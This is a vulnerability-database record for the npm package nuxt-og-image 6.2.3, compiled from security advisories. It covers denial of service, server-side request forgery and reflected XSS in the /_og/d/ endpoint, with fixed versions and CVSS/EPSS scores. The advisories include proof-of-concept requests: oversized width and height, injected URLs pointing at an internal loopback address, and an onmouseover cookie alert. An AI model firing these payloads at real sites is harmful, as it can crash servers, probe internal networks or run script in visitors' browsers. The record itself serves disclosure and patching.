Lookup for vulnerable packages by Package URL.

Purlpkg:npm/nuxt-og-image@6.2.3
Typenpm
Namespace
Namenuxt-og-image
Version6.2.3
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version6.4.9
Latest_non_vulnerable_version6.4.9
Affected_by_vulnerabilities
0
url VCID-4k1z-ca2p-s7dh
vulnerability_id VCID-4k1z-ca2p-s7dh
summary
Nuxt OG Image is vulnerable to Denial of Service via unbounded image dimensions
**Product:** Nuxt OG Image 
**Version:** 6.1.2
**CWE-ID:** [CWE-404](https://cwe.mitre.org/data/definitions/404.html): Improper Resource Shutdown or Release
**Description:** Failure to limit the length and width of the generated image results in a denial of service.
**Impact:** Denial of service
**Exploitation condition:** An external user
**Mitigation:** Implement a limitation on the width and length of the generated image.
**Researcher:** Dmitry Prokhorov (Positive Technologies)

## Research 
During the analysis of the nuxt-og-image package, which is shipped with the nuxt-seo package, a zero‑day vulnerability was discovered.
This research revealed that the image‑generation component by the URI: `/_og/d/` (and, in older versions, `/og-image/`) contains a Denial of Service (DoS) vulnerability. The issue arises because there is no restriction on the width and height parameters of the generated image. The vulnerability was reproduced using the standard configuration and the default templates.

_Listing 1. The content of the configuration file `nuxt.config.ts`_ 
```
export default defineNuxtConfig({
  modules: ['nuxt-og-image'],
  devServer: {
    host: 'web-test.local',
    port: 3000
  },
  site: {
    url: 'http://web-test.local:3000',
  },
  ogImage: {
    fonts: [
      'Inter:400', 
      'Inter:700'
    ],
  }
})
```

## Vulnerability reproduction
To demonstrate the proof‑of‑concept, a request should be sent with the increased `width` and `height` parameters. This will cause a delay and exhaust the server’s resources during image generation.

_Listing 2. HTTP-request example_
```
GET /_og/d/og.png?width=20000&height=20000 HTTP/1.1
Host: web-test.local:3000
```

_Figure 1. HTTP-response: denial-of-service error_
<img width="974" height="663" alt="image" src="https://github.com/user-attachments/assets/ff625249-2e0d-4a03-a734-3a77fd0cbb81" />

After sending a HTTP-request, the test server's memory was exhausted.

_Figure 2. Video memory exhausted error_
<img width="863" height="1033" alt="image" src="https://github.com/user-attachments/assets/66b5919a-f039-468e-812e-1f709c468287" />


## Credits
Researcher: Dmitry Prokhorov (Positive Technologies)
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-34404
reference_id
reference_type
scores
0
value 0.0006
scoring_system epss
scoring_elements 0.19062
published_at 2026-06-05T12:55:00Z
1
value 0.0006
scoring_system epss
scoring_elements 0.19061
published_at 2026-06-06T12:55:00Z
2
value 0.00063
scoring_system epss
scoring_elements 0.19707
published_at 2026-06-09T12:55:00Z
3
value 0.00063
scoring_system epss
scoring_elements 0.19747
published_at 2026-06-07T12:55:00Z
4
value 0.00063
scoring_system epss
scoring_elements 0.1968
published_at 2026-06-08T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-34404
1
reference_url https://github.com/nuxt-modules/og-image
reference_id
reference_type
scores
0
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/nuxt-modules/og-image
2
reference_url https://github.com/nuxt-modules/og-image/security/advisories/GHSA-c7xp-q6q8-hg76
reference_id
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
1
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-01T13:37:22Z/
url https://github.com/nuxt-modules/og-image/security/advisories/GHSA-c7xp-q6q8-hg76
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-34404
reference_id
reference_type
scores
0
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-34404
4
reference_url https://github.com/advisories/GHSA-c7xp-q6q8-hg76
reference_id GHSA-c7xp-q6q8-hg76
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-c7xp-q6q8-hg76
fixed_packages
0
url pkg:npm/nuxt-og-image@6.2.5
purl pkg:npm/nuxt-og-image@6.2.5
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-3kbk-9a2h-x7dz
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/nuxt-og-image@6.2.5
aliases CVE-2026-34404, GHSA-c7xp-q6q8-hg76
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-4k1z-ca2p-s7dh
1
url VCID-mhd8-wu7r-syhc
vulnerability_id VCID-mhd8-wu7r-syhc
summary
Nuxt OG Image vulnerable to Server-Side Request Forgery via user-controlled parameters
**Product:** Nuxt OG Image
**Version:** < 6.2.5
**CWE-ID:** [CWE-918](https://cwe.mitre.org/data/definitions/918.html): Server-Side Request Forgery

## Description

The image generation endpoint (`/_og/d/`) accepts user-controlled parameters that are passed to the server-side renderer without proper validation or filtering. An attacker can trigger server-side requests to internal network addresses through multiple vectors.

## Impact

- Scanning internal ports and services inaccessible from the outside
- Reading sensitive data from cloud infrastructure metadata services (tokens, credentials) when verbose error output is enabled

## Attack Vectors

Three distinct vectors were identified, all exploiting the same underlying lack of URL validation:

### Vector 1: CSS `background-image` injection via `style` parameter

```
GET /_og/d/og.png?style=background-image:+url('http://127.0.0.1:8888/secret')
```

### Vector 2: `<img src>` injection via `html` parameter

```
GET /_og/d/og.png?html=<img src="http://127.0.0.1:8888/secret">
```

When verbose errors are enabled, the response content is leaked in base64-encoded error messages.

### Vector 3: SVG `<image href>` injection via `html` parameter

```
GET /_og/d/og.png?html=<svg><image href="http://127.0.0.1:8888/secret"></svg>
```

## Mitigation

Fixed in v6.2.5. The image source plugin now blocks requests to private IP ranges (IPv4/IPv6), loopback addresses, link-local addresses, and cloud metadata endpoints. Decimal/hexadecimal IP encoding bypasses are also handled.

## Credits

Researcher: Dmitry Prokhorov (Positive Technologies)
references
0
reference_url https://github.com/nuxt-modules/og-image
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/nuxt-modules/og-image
1
reference_url https://github.com/nuxt-modules/og-image/security/advisories/GHSA-pqhr-mp3f-hrpp
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/nuxt-modules/og-image/security/advisories/GHSA-pqhr-mp3f-hrpp
2
reference_url https://github.com/advisories/GHSA-pqhr-mp3f-hrpp
reference_id GHSA-pqhr-mp3f-hrpp
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-pqhr-mp3f-hrpp
fixed_packages
0
url pkg:npm/nuxt-og-image@6.2.5
purl pkg:npm/nuxt-og-image@6.2.5
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-3kbk-9a2h-x7dz
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/nuxt-og-image@6.2.5
aliases GHSA-pqhr-mp3f-hrpp
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-mhd8-wu7r-syhc
2
url VCID-xvr2-17j2-n3gn
vulnerability_id VCID-xvr2-17j2-n3gn
summary
Nuxt OG Image is vulnerable to reflected XSS via query parameter injection into HTML attributes
**Product:** Nuxt OG Image 
**Version:** 6.1.2
**CWE-ID:** [CWE-79](https://cwe.mitre.org/data/definitions/79.html): Improper Neutralization of Input During Web Page Generation
**Description:** Incorrect parsing of GET parameters leads to the possibility of HTML injection and JavaScript code injection.
**Impact:** Client-Side JavaScript Execution
**Exploitation condition:** An external user
**Mitigation:** Correct the logic of parsing GET parameters and their subsequent implementation into the generated page.
**Researcher:** Dmitry Prokhorov (Positive Technologies)

## Research 
During the analysis of the nuxt-og-image package, which is shipped with the nuxt-seo package, a zero‑day vulnerability was discovered.
This research revealed that the image‑generation component by the URI: `/_og/d/` (and, in older versions, `/og-image/`) contains a vulnerability that allows injection of arbitrary attributes into the HTML page body. The vulnerability was reproduced using the standard configuration and the default templates.


_Listing 1. The content of the configuration file `nuxt.config.ts`_ 
```
export default defineNuxtConfig({
  modules: ['nuxt-og-image'],
  devServer: {
    host: 'web-test.local',
    port: 3000
  },
  site: {
    url: 'http://web-test.local:3000',
  },
  ogImage: {
    fonts: [
      'Inter:400', 
      'Inter:700'
    ],
  }
})
```

## Vulnerability reproduction
To demonstrate the proof‑of‑concept, follow the URI: `/_og/d/og.html?width=1000&height=1000&onmouseover=alert(document.cookie)&autofocus`
The injected parameters `onmouseover=alert(document.cookie)` and `autofocus` are treated as attributes and are inserted directly into the generated HTML page.


_Listing 2. HTTP-request example_
```
GET /_og/d/og.html?width=1000&height=1000&onmouseover=alert(document.cookie) HTTP/1.1
Host: web-test.local:3000
```

_Figure 1. The injected attribute in the HTML body_
<img width="974" height="670" alt="image" src="https://github.com/user-attachments/assets/d442c235-71a5-4da9-a963-8cf4b8614745" />

_Figure 2. JavaScript code execution_
<img width="974" height="291" alt="image" src="https://github.com/user-attachments/assets/01579f19-8e80-4fae-8516-5903370ee6d8" />


## Credits
Researcher: Dmitry Prokhorov (Positive Technologies)
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-34405
reference_id
reference_type
scores
0
value 0.00038
scoring_system epss
scoring_elements 0.11656
published_at 2026-06-05T12:55:00Z
1
value 0.00038
scoring_system epss
scoring_elements 0.11653
published_at 2026-06-06T12:55:00Z
2
value 0.00043
scoring_system epss
scoring_elements 0.13682
published_at 2026-06-09T12:55:00Z
3
value 0.00043
scoring_system epss
scoring_elements 0.13737
published_at 2026-06-07T12:55:00Z
4
value 0.00043
scoring_system epss
scoring_elements 0.13651
published_at 2026-06-08T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-34405
1
reference_url https://github.com/nuxt-modules/og-image
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/nuxt-modules/og-image
2
reference_url https://github.com/nuxt-modules/og-image/security/advisories/GHSA-mg36-wvcr-m75h
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-01T18:43:12Z/
url https://github.com/nuxt-modules/og-image/security/advisories/GHSA-mg36-wvcr-m75h
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-34405
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-34405
4
reference_url https://github.com/advisories/GHSA-mg36-wvcr-m75h
reference_id GHSA-mg36-wvcr-m75h
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-mg36-wvcr-m75h
fixed_packages
0
url pkg:npm/nuxt-og-image@6.2.5
purl pkg:npm/nuxt-og-image@6.2.5
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-3kbk-9a2h-x7dz
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/nuxt-og-image@6.2.5
aliases CVE-2026-34405, GHSA-mg36-wvcr-m75h
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-xvr2-17j2-n3gn
Fixing_vulnerabilities
Risk_score3.1
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:npm/nuxt-og-image@6.2.3